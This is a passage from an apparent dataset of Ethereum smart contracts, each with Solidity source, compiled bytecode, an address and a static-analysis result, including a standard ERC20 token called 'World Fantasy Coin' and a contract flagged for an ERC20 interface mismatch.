* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
if ( _to == address(this) )
{
sell(_value); // sending token to a contract means selling them
}
else
{
_transfer(msg.sender, _to, _value);
}
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* set minimumPayout price
*
* @param amount minimumPayout amount in Wei
*/
function setMinimumPayout(uint256 amount) public onlyOwner {
minimumPayout = amount;
}
/**
* save ether to owner account
*
* @param amount amount in Wei
*/
function save(uint256 amount) public onlyOwner {
require( amount >= minimumPayout );
owner.transfer( amount);
}
/**
* Give back token to contract bypassing selling from owner account
*
* @param amount amount of token in wei
*/
function restore(uint256 amount) public onlyOwner {
uint256 newPrice = _newPrice(balanceOf[this] + amount); // calc new price after transfer
_transfer(owner, this, amount ); // transfer token back to contract
_setPrices( newPrice ); // update prices after transfer
}
/**
* Internal transfer, can be called only by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
}
|
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461013e578063095ea7b3146101ce57806318160ddd146102335780631b8620271461025e5780631e78cfe11461028b57806323b872dd146102b6578063313ce5671461033b5780634b7503341461036c578063596957541461039757806370a08231146103c45780638620410b1461041b5780638da5cb5b1461044657806390fa17bb1461049d57806395d89b41146104b45780639bea62ad14610544578063a6f2ae3a14610571578063a9059cbb1461058f578063c7bdbb95146105dc578063cae9ca511461060b578063d811f09e146106b6578063dd62ed3e146106e5578063e4849b321461075c578063f2fde38b1461079d575b61013b6107e0565b50005b34801561014a57600080fd5b50610153610871565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610193578082015181840152602081019050610178565b50505050905090810190601f1680156101c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101da57600080fd5b50610219600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061090f565b604051808215151515815260200191505060405180910390f35b34801561023f57600080fd5b5061024861099c565b6040518082815260200191505060405180910390f35b34801561026a57600080fd5b50610289600480360381019080803590602001909291905050506109a2565b005b34801561029757600080fd5b506102a0610a79565b6040518082815260200191505060405180910390f35b3480156102c257600080fd5b50610321600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a7f565b604051808215151515815260200191505060405180910390f35b34801561034757600080fd5b50610350610bac565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037857600080fd5b50610381610bbf565b6040518082815260200191505060405180910390f35b3480156103a357600080fd5b506103c260048036038101908080359060200190929190505050610bc5565b005b3480156103d057600080fd5b50610405600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c2a565b6040518082815260200191505060405180910390f35b34801561042757600080fd5b50610430610c42565b6040518082815260200191505060405180910390f35b34801561045257600080fd5b5061045b610c48565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a957600080fd5b506104b2610c6d565b005b3480156104c057600080fd5b506104c9610caf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105095780820151818401526020810190506104ee565b50505050905090810190601f1680156105365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055057600080fd5b5061056f60048036038101908080359060200190929190505050610d4d565b005b6105796107e0565b6040518082815260200191505060405180910390f35b34801561059b57600080fd5b506105da600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2f565b005b3480156105e857600080fd5b50610609600480360381019080803515159060200190929190505050610e82565b005b34801561061757600080fd5b5061069c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610efa565b604051808215151515815260200191505060405180910390f35b3480156106c257600080fd5b506106cb61107d565b604051808215151515815260200191505060405180910390f35b3480156106f157600080fd5b50610746600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611090565b6040518082815260200191505060405180910390f35b34801561076857600080fd5b50610787600480360381019080803590602001909291905050506110b5565b6040518082815260200191505060405180910390f35b3480156107a957600080fd5b506107de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061119d565b005b600080600454600b5434028115156107f457fe5b04915061084182600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611296565b9050600a548160020211151561085657600080fd5b6108613033846112e0565b61086a816115f6565b8191505090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109075780601f106108dc57610100808354040283529160200191610907565b820191906000526020600020905b8154815290600101906020018083116108ea57829003601f168201915b505050505081565b600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109fd57600080fd5b6008548110151515610a0e57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a75573d6000803e3d6000fd5b5050565b60085481565b6000600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b0c57600080fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610ba18484846112e0565b600190509392505050565b600360009054906101000a900460ff1681565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2057600080fd5b8060088190555050565b600c6020528060005260406000206000915090505481565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d455780601f10610d1a57610100808354040283529160200191610d45565b820191906000526020600020905b815481529060010190602001808311610d2857829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610daa57600080fd5b610df482600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401611296565b9050610e226000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630846112e0565b610e2b816115f6565b5050565b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e7257610e6c816110b5565b50610e7e565b610e7d3383836112e0565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610edd57600080fd5b80600060146101000a81548160ff02191690831515021790555050565b600080849050610f0a858561090f565b15611074578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611004578082015181840152602081019050610fe9565b50505050905090810190601f1680156110315780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561105357600080fd5b505af1158015611067573d6000803e3d6000fd5b5050505060019150611075565b5b509392505050565b600060149054906101000a900460ff1681565b600d602052816000526040600020602052806000526040600020600091509150505481565b600080600a5460045484028115156110c957fe5b04915060085482101515156110dd57600080fd5b61112783600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401611296565b9050600a548110151561113957600080fd5b6111443330856112e0565b61114d816115f6565b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611193573d6000803e3d6000fd5b5081915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111f857600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561121e57600080fd5b600060149054906101000a900460ff16151561123957600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060146101000a81548160ff02191690831515021790555050565b60006007548283028115156112a757fe5b0460075483600954028115156112b957fe5b046006546009540201036006548302600554028115156112d557fe5b049050809050919050565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561130757600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561135557600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156113e357600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011415156115f057fe5b50505050565b80600b819055506305f5e10063086deb2c600b540281151561161457fe5b04600a81905550505600a165627a7a72305820d7b66eb55223e707ea2bdb8d57ddd274aaf1cbe7f2e51a0b9cba310dd2fe2b9c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 4,390 |
0x4933533f075d2c998a345f18f1b4678e5a6797e8
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/// @title WFS Token
contract WFS is StandardToken, Ownable {
string public constant name = "World Fantasy Coin";
string public constant symbol = "WFS";
uint8 public constant decimals = 18;
constructor() public {
totalSupply_ = 20000000000 ether;
balances[owner] = totalSupply_;
}
}
|
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101ca57806323b872dd146101f5578063313ce5671461027a57806366188463146102ab57806370a0823114610310578063715018a6146103675780638da5cb5b1461037e57806395d89b41146103d5578063a9059cbb14610465578063d73dd623146104ca578063dd62ed3e1461052f578063f2fde38b146105a6575b600080fd5b3480156100e157600080fd5b506100ea6105e9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610622565b604051808215151515815260200191505060405180910390f35b3480156101d657600080fd5b506101df610714565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061071e565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f610ad8565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102b757600080fd5b506102f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610add565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610351600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6e565b6040518082815260200191505060405180910390f35b34801561037357600080fd5b5061037c610db6565b005b34801561038a57600080fd5b50610393610ebb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e157600080fd5b506103ea610ee1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042a57808201518184015260208101905061040f565b50505050905090810190601f1680156104575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047157600080fd5b506104b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f1a565b604051808215151515815260200191505060405180910390f35b3480156104d657600080fd5b50610515600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611139565b604051808215151515815260200191505060405180910390f35b34801561053b57600080fd5b50610590600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611335565b6040518082815260200191505060405180910390f35b3480156105b257600080fd5b506105e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113bc565b005b6040805190810160405280601281526020017f576f726c642046616e7461737920436f696e000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075b57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a857600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083357600080fd5b610884826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610917826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e882600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bee576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c82565b610c01838261151490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f574653000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f5757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fa457600080fd5b610ff5826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611088826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006111ca82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561145457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561152257fe5b818303905092915050565b6000818301905082811015151561154057fe5b809050929150505600a165627a7a723058201a1fec2ad4479e62b9c9ecd95315ee006684357c3b45cf3c6e1dab772db83c790029
|
{"success": true, "error": null, "results": {}}
| 4,391 |
0x3b9707ad9a37c149e4fc5403f8d71ccf8b283cbf
|
/**
*Submitted for verification at Etherscan.io on 2021-11-01
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-26
*/
/**
* TG : t.me/Rayquazatoken
*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
